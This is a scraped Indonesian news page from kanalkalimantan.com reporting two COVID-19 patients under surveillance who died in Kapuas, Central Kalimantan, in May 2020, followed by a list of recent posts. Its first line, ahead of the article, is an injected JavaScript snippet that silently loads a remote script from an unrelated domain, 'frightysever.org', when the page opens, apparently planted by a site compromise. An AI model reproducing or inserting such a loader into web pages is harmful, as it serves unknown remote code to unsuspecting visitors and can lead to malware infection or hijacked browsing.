(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Dua PDP Covid-19 di Kapuas Meninggal Dunia, Gugus Tugas Tunggu Hasil Swab


KANALKALIMANTAN. COM, KUALA KAPUAS – Juru Bicara Percepatan Penanganan Covid-19 Kabupaten Kapuas, Kalimantan Tengah (Kalteng) Dr H Junaidi menyampaikan dua warga berstatus pasien dalam pengawasan (PDP) telah meninggal pada Sabtu (16/5/2020) malam.

Pasien PDP meninggal yakni laki-laki umur 54 tahun saat dalam perawatan di RSUD dr Soemarno Sostroatmodjo, berasal dari Kelurahan Selat Dalam. Ia diketahui masuk RSUD pada 11 Mei 2020 dan dirawat sebagai PDP sembari menunggu hasil swab.

Sedangkan, pasien meninggal kedua yakni perempuan umur 16 tahun yang wafat pada pukul 22.00 WIB. PDP asal Kecamatan Kapuas Tengah, dalam perjalanan ingin dirujuk dari Puskesmas Pujon ke RSUD dr Doris Sylvanus Palangka Raya. Diketahui, PDP tersebut datang di Puskesmas Pujon pada 16 Mei 2020, mengalami sesak nafas dan demam.

“Telah dikonsultasikan oleh dokter Puskesmas Pujon ke dokter spesialis paru RSUD Doris Sylvanus, menyetujui sebagai PDP dan saran rujuk ke RSUD Doris Sylvanus. Namun dalam perjalanan yang bersangkutan meninggal,” ungkapnya.

Sementara untuk riwayat perjalanan dan kontak erat sendiri, PDP asal Kapuas Tengah masih belum ada. Namun upaya penyelidikan epidemiologi (PE) tetap dilakukan. Juru Bicara Dinas Kesehatan Kapuas, dr Try Setya Utami menambahkan, hingga kini tercatat hari ini pasien dalam pengawasan (PDP) Kapuas meninggal berjumlah tujuh orang.

Tujuh PDP meninggal tersebut, di antaranya sebanyak lima orang warga Kecamatan Selat, satu orang warga Kecamatan Bataguh dan satu orang dari Kecamatan Kapuas Tengah. “Dari tujuh orang tersebut, dua orang tidak sempat di-swab karena lebih dulu meninggal dan lima orang masih menunggu hasil swab,” jelas dr Try.

Ia menguraikan, pasien PDP tersebut umumnya sudah datang ke fasyankes dan ditangani. Namun PDP tersebut gejalanya berat. PDP gejala berat seharusnya dirawat di rumah sakit rujukan. “Sementara rumah sakit rujukan sendiri penuh. RSUD dr Soemarno Sostroatmodjo Kapuas sendiri adalah RSUD satelit untuk merawat PDP gejala sedang,” ungkap dr Try. (kanalkalimantan.com/ags)

Reporter : ags
Editor : cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.